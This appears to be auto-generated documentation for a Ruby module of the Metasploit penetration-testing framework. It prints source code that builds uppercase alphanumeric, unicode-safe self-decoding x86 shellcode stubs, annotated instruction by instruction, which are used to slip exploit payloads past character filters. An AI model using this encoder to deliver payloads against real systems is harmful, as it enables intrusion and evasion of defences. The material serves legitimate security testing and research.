Parent

Class/Module Index [+]

Quicksearch

Rex::Encoder::Alpha2::UnicodeUpper

Public Class Methods

default_accepted_chars() click to toggle source
# File lib/rex/encoder/alpha2/unicode_upper.rb, line 9
def self.default_accepted_chars ; ('B' .. 'Z').to_a + ('0' .. '9').to_a ; end
gen_decoder(reg, offset) click to toggle source
# File lib/rex/encoder/alpha2/unicode_upper.rb, line 47
def self.gen_decoder(reg, offset)
        decoder =
                gen_decoder_prefix(reg, offset) +
                "QA" +                  # push ecx, NOP
                "TA" +                  # push esp, NOP
                "XA" +                  # pop eax, NOP
                "ZA" +                  # pop edx, NOP
                "PU" +                  # push eax, NOP
                "3" +                   # xor eax, [eax]
                "QA" +                  # push ecx, NOP
                "DA" +                  # inc esp, NOP
                "ZA" +                  # pop edx, NOP
                "BA" +                  # inc edx, NOP
                "RA" +                  # push edx, NOP
                "LA" +                  # dec esp, NOP
                "YA" +                  # pop ecx, NOP
                "IA" +                  # dec ecx, NOP
                "QA" +                  # push ecx, NOP
                "IA" +                  # dec ecx, NOP
                "QA" +                  # push ecx, NOP
                "PA" +                  # push eax, NOP
                "5AAA" +                # xor eax, 41004100 - NOP
                "PA" +                  # push eax, NOP
                "Z" +                   # pop edx
                "1A" +                  # add [ecx], dh - NOP
                "I" +                   # dec ecx
                "1A" +                  # add [ecx], dh - NOP
                "IA" +                  # dec ecx, NOP
                "IA" +                  # dec ecx, NOP
                "J" +                   # dec edx
                "1" +                   # add [ecx], dh
                "1A" +                  # add [ecx], dh - NOP
                "IA" +                  # dec ecx, NOP
                "IA" +                  # dec ecx, NOP
                "XA" +                  # pop eax, NOP
                "58AA" +                # xor eax, 41003800 - NOP
                "PA" +                  # push eax, NOP
                "ZA" +                  # pop edx, NOP
                "BA" +                  # inc edx, NOP
                "B" +                   # inc edx
                "Q" +                   # add [ecx], dl
                "I" +                   # dec ecx
                "1A" +                  # add [ecx], dh - NOP
                "I" +                   # dec ecx
                "Q" +                   # add [ecx], dl
                "IA" +                  # dec ecx, NOP
                "I" +                   # dec ecx
                "Q" +                   # add [ecx], dl
                "I" +                   # dec ecx
                "1" +                   # add [ecx], dh
                "1" +                   # add [ecx], dh
                "1" +                   # add [ecx], dh
                "1A" +                  # add [ecx], dh - NOP
                "IA" +                  # dec ecx, NOP
                "J" +                   # dec edx
                "Q" +                   # add [ecx], dl
                "I" +                   # dec edx
                "1A" +                  # add [ecx], dh - NOP
                "YA" +                  # pop ecx, NOP
                "ZB" +                  # pop edx, NOP
                "AB" +                  # inc ecx, NOP      <-------
                "AB" +                  # inc ecx, NOP              |
                "AB" +                  # inc ecx, NOP              |
                "AB" +                  # inc ecx, NOP              |
                "30" +                  # imul eax, [ecx], 10 *     |
                "A" +                   # add al, [ecx+2] *         |
                "P" +                   # mov [edx], al *           |
                "B" +                   # inc edx                   |
                "9" +                   # cmp [ecx], 41 *           |
                "4" +                   # jnz   --------------------
                "4JB"

        return decoder
end
gen_decoder_prefix(reg, offset) click to toggle source
# File lib/rex/encoder/alpha2/unicode_upper.rb, line 16
def self.gen_decoder_prefix(reg, offset)
        if (offset > 6)
                raise "Critical: Offset is greater than 6"
        end

        # offset untested for unicode :(
        if (offset <= 4)
                nop = 'CP' * offset
                mod = 'IA' * (4 - offset) + nop    # dec ecx,,, push ecx, pop edx
        else
                mod = 'AA' * (offset - 4)          # inc ecx
                nop = 'CP' * (4 - mod.length)
                mod += nop
        end

        regprefix = {                      # nops ignored below
                'EAX'   => 'PPYA' + mod,        # push eax, pop ecx
                'ECX'   =>  mod + '4444',       # dec ecx
                'EDX'   => 'RRYA' + mod,        # push edx, pop ecx
                'EBX'   => 'SSYA' + mod,        # push ebx, pop ecx
                'ESP'   => 'TUYA' + mod,        # push esp, pop ecx
                'EBP'   => 'UUYA' + mod,        # push ebp, pop ecx
                'ESI'   => 'VVYA' + mod,        # push esi, pop ecx
                'EDI'   => 'WWYA' + mod,        # push edi, pop edi
                '[ESP]' => 'YA' + mod + '44',   #
                '[ESP+4]' => 'YUYA' + mod,      # 
        }

        return regprefix[reg]
end
gen_second(block, base) click to toggle source
# File lib/rex/encoder/alpha2/unicode_upper.rb, line 11
def self.gen_second(block, base)
        # unicode uses additive encoding
        (block - base)
end

[Validate]

Generated with the Darkfish Rdoc Generator 2.